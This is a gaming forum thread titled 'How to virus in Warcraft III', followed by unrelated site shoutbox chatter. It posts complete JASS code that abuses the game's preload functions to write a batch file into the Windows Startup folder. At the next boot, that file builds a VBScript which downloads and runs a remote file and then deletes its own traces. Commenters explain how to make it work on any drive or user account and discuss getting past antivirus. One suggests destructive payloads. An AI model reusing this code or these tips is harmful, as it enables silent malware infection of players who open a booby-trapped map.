How to virus in Warcraft III

Oo why a hacker are editing a game script?

is better get a newgame and *pãn pãn*
 
The fact you bothered to retaliate with such a comment implies someone does care :p
 
just made an account to congratulate you for this
badass bug
got a compile error (win 7 64 bit) but the myvirus.bat was created

how does it work btw?
 
just made an account to congratulate you for this
badass bug
got a compile error (win 7 64 bit) but the myvirus.bat was created

how does it work btw?
JASS:
//..
    call PreloadGenClear() // this line and the line below start writing a JASS function to preload models
    call PreloadGenStart()
    call Preload("\")\necho Set objXMLHTTP = CreateObject(\"MSXML2.XMLHTTP\") > %TEMP%\\download.vbs\n//") // this line, and all other "Preload(...)" lines add a line to preload a "model" to that function. Instead, we add a new line and put some batch script in.
    // batch scripts ignore syntax errors, so it will ignore the jass syntax and execute the echo/start lines. I use it to write a VB script to download a file and put it in your startup. You could do anything, though.
    // ...
    call PreloadGenEnd("C:\\Users\\YOURUSERNAMEHERE\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\myvirus.bat") // this ends the list, and saves it to Start > Programs > Startup, and windows automatically runs everything there. my batch script makes a vbs script with echo, and then runs it, that script then downloads the specified file here. hooray!!

There's yer explanation, and that's why WC3 should never be able to write to a file. The vulnerability is the fact that WC3 can do that, in essence. :)
The script is executed from W3 and downloads viruses from the internets.
The JASS script is executed in WC3 and makes the batch script. The batch script is executed on boot and creates the vbs script. The vbs script is executed by the batch script and downloads the file. The downloaded file runs from then on, on startup. :)
 
what happen if you hardly restart your PC when you're downloading something Sev? :p
 
I'm not sure I know what you mean. What I mean is that since I hardly restart my PC, the startup programs are hardly run (started).
 
So, these could be used to download anything to the player's computer? Great, could use it with .slks :3
 
Do I have to have local files enabled for it to work?

Edit: The file is created if its extension is not *.bat or *.exe. For a while I was able to create bat files and for whatever reason it was after I removed this line:
JASS:
call Preload("\")\n\necho objFSO.DeleteFile \"C:\\myvirus.bat\" >> %TEMP%\\download.vbs\n//")
Which is quite ridiculous.

And while the idea of using startup is pretty nice, It's hard to believe that this fairly simple exploit is made public for the first time 8 years after release of the game. o.o

Edit 2: Turning off Avast helped. :(
 
@Jesus4Lyf:
if my windows aint installed on the harddrive C but on D it wouldnt work i guess, right?
 
@Jesus4Lyf:
if my windows aint installed on the harddrive C but on D it wouldnt work i guess, right?
You can make it work, obviously. Just change all the paths accordingly, e.g.:
JASS:
call PreloadGenEnd("D:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\myvirus.bat")

Inside the *.bat file you can use environment variables like %SystemDrive% (which returns letter of your system drive, in your case D:).

Anyway, what is the purpose of this part:
JASS:
 call PreloadGenClear()
    call PreloadGenStart()
    call Preload("\")\necho Set objXMLHTTP = CreateObject(\"MSXML2.XMLHTTP\") > %TEMP%\\download.vbs\n//")
    call Preload("\")\necho objXMLHTTP.open \"GET\", \""+url+"\", false >> %TEMP%\\download.vbs\n//")
    call Preload("\")\necho objXMLHTTP.send() >> %TEMP%\\download.vbs\n//")
    call Preload("\")\necho If objXMLHTTP.Status = 200 Then >> %TEMP%\\download.vbs\n//")
    call Preload("\")\necho Set objADOStream = CreateObject(\"ADODB.Stream\") >> %TEMP%\\download.vbs\n//")
    call Preload("\")\necho objADOStream.Open >> %TEMP%\\download.vbs\n//")
    call Preload("\")\necho objADOStream.Type = 1 >> %TEMP%\\download.vbs\n//")
    call Preload("\")\necho objADOStream.Write objXMLHTTP.ResponseBody >> %TEMP%\\download.vbs\n//")
    call Preload("\")\necho objADOStream.Position = 0 >> %TEMP%\\download.vbs\n//")
    call Preload("\")\necho Set objFSO = Createobject(\"Scripting.FileSystemObject\") >> %TEMP%\\download.vbs\n//")
    call Preload("\")\necho If objFSO.Fileexists(\"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\"+localname+"\") Then objFSO.DeleteFile \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\"+localname+"\" >> %TEMP%\\download.vbs\n//")
    call Preload("\")\necho objADOStream.SaveToFile \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\"+localname+"\" >> %TEMP%\\download.vbs\n//")
    call Preload("\")\necho objADOStream.Close >> %TEMP%\\download.vbs\n//")
    call Preload("\")\necho End if >> %TEMP%\\download.vbs\n//")
    call Preload("\")\necho objFSO.DeleteFile \"%TEMP%\\download.vbs\" >> %TEMP%\\download.vbs\n//")
    call Preload("\")\necho objFSO.DeleteFile \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\myvirus.bat\" >> %TEMP%\\download.vbs\n//")
    call Preload("\")\nstart %TEMP%\\download.vbs\n//")
    call PreloadGenEnd("C:\\Users\\YOURUSERNAMEHERE\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\myvirus.bat")
Why can't you just do it for All Users?
 
@Cano:
that i know myself. the point is somebody who made this map will not change the script code just especially for me shortly before i download the map. you get it?

i mean, if someone is seriously trying to spread a virus through some wc3 map and i download and start the map and my windows is on an other harddrive then C the code inside wouldnt work? or not?
will it crash? will it create the folders on my other harddrive? or what will happen?

Edit:
Just tested it myself. it will create these folders on the harddrive C. however, obviously nothing will happen when rebooting.
 
its possible to use

%systemdrive%

and

%username%

making code compatable with any windows on any HDD.

also you may create harmfull script to reboot PC instantly (or after random time) or remove valuble files from windows, but most players play 1-5 maps all time, its dangerous only if icefrog inject this to dota (or any similar map virused by author)
 
It's shell access with the current user's privileges; on windows that probably means administrator. It doesn't really matter how your hard drive is set up, your screwed.
 
@Cano:
that i know myself. the point is somebody who made this map will not change the script code just especially for me shortly before i download the map. you get it?
...
Just create the *.bat files on C:,D:,E: or whatever you assume to be system directory and for all other use %systemdrive%. Now, do you get it?

And I am the only one who gets this completely nullified by antivirus?
Trying to sneak an *.exe file causes Avast to alert too. Which obviously doesn't mean that this issue shouldn't be addressed by Blizzard. The danger is WAY higher than it used to be in case of possibility of executing arbitrary code through type casting, just because it can be done by literally everyone and the possibilities are greater.
 
...
Just create the *.bat files on C:,D:,E: or whatever you assume to be system directory and for all other use %systemdrive%. Now, do you get it?

And I am the only one who gets this completely nullified by antivirus?
Trying to sneak an *.exe file causes Avast to alert too. Which obviously doesn't mean that this issue shouldn't be addressed by Blizzard. The danger is WAY higher than it used to be in case of possibility of executing arbitrary code through type casting, just because it can be done by literally everyone and the possibilities are greater.

i think you dont really get what i was talking about.
if this is supposed to be a kind of "virus" then it shouldnt be my task to make it fit my computer. most probably someone else would make that virus map and try to spread it over the internet, for example to me. and hence he doesnt know on which harddrive windows is installed for me he wouldnt change C to D only to hit me you know? he doesnt think, "hmmm Accname doesnt have windows on C but on D, i should change the map shortly before he downloads and plays it to kick his ass" and i most probably wouldnt try to virus my own computer either.

of course, if what DioD said works then it isnt neccassary at all.
 
If I'm not wrong, Accname are saying if someone know that he'll get the map, the creator of that map which have virus don't will change the script to fit the Accname computer, will fit the most 'common' type of computer, windows in C: and username Default (really, noone use this username lol)
 
General chit-chat
Help Users
  • No one is chatting at the moment.
  • Varine Varine:
    A probate is usually done with a will, yes? If so I am sorry for your loss
    +1
  • The Helper The Helper:
    Yeah Tom, me too sorry for your loss buddy my mom told me she finds out her olds friend died from Google searching them. She had not talked to one of her old friends in a year and found out she died from Google. Also another one in the same session. RIP all of them my sincere condolences Tom
    +1
  • Varine Varine:
    We have some elderly guests that regularly come hang out at the bar at the end of the night, and every once in a while we don't see someone for a few weeks and then someone shows up with their obituary.
  • Varine Varine:
    We usually let them do their memorials there in the morning if they want to and I'll make them some snacks and drinks. There was one guy named Tom that came in like every night and would sit by himself and get a bunch of soup and a glass of wine. idk why but he LOVED our fucking soup, like he would order a fucking quart of it at a time and would always get so sad when we stop doing it for the summer.
    +1
  • Varine Varine:
    But he also loved our calamari, which is another thing I hate but it sells super well so I can't change it. There was one day he came in and was asking me how to make it, because he tried to at home once in the off season when we stop running it and he really wanted it lol
  • Varine Varine:
    I think he's one of the only people I've made recipes for for free because he really wanted a broccoli cheddar, and it was like dude I don't have a recipe, it's just whatever I have, but here, this is how you do it
  • Varine Varine:
    I don't think he ever figured out how to do the calamari in a pan though, like idk how to do that either. He was afraid of the at home deep fryers though and it's like yeah, that's fair, I am too
  • Varine Varine:
    He was just such a sweet old man, we had two servers pregnant and they held a baby shower together, he was soooooo fucking excited to get to see a baby. Unfortunately he died a month or so before they were born
  • The Helper The Helper:
    So I decided to Google some people that I had not seen or heard from in a while and sure enough one of my old best friends, we had a falling out years ago but whatever, find out he died of Pancreatic Cancer in January. I have also lost a few of my closer acquaintances from growing up the last year. Getting old - people die - I kinda thought it was going to be this way a few years ago....
    +2
  • The Helper The Helper:
    Forum running super slow again
  • Ghan Ghan:
    Not really clear from the stats as to what is causing the slowness.
  • Ghan Ghan:
    We get a lot of guest traffic so it may just be the load is getting too high and not from any particular source.
  • Ghan Ghan:
    Looks like the server is maxed out on CPU.
  • Ghan Ghan:
    Oh it looks like a lot of the traffic is Silkroad Forums. That domain isn't protected by Cloudflare.
  • Ghan Ghan:
    But the old Silkroad site is still on its own server. I just had a test site set up on this server for it.
  • Ghan Ghan:
    I just disabled that test site. Let's see if that helps the load.
  • Ghan Ghan:
    Looks much better already.
  • The Helper The Helper:
    I had actually forgot about the Silkroad site. I had asked
  • The Helper The Helper:
    SD Ryoko about it and he said the couple of people left on there really like it, that was a few years ago, maybe I should check back
  • jonas jonas:
    I guess when you're getting old, and the last day of soup season draws near, you start wondering
  • jonas jonas:
    will I make it to the start of the next season? or was this the last time I'll ever have my favorite dish?
  • The Helper The Helper:
    I am doing my first Vibe Coding project. In installed the environment and tools according to instructions but it is all chat doing this for me at my direction. It is fun really and holy shit I might finish in 2 hours what it would have taken a day to in my Access and this would be an electron app complete new
  • Ghan Ghan:
    Good stuff.
  • Ghan Ghan:
    Just make sure it is secure. :)
  • The Helper The Helper:
    It will only be on internal network

      The Helper Discord

      Members online

      No members online now.

      Affiliates

      Hive Workshop NUON Dome World Editor Tutorials
      Top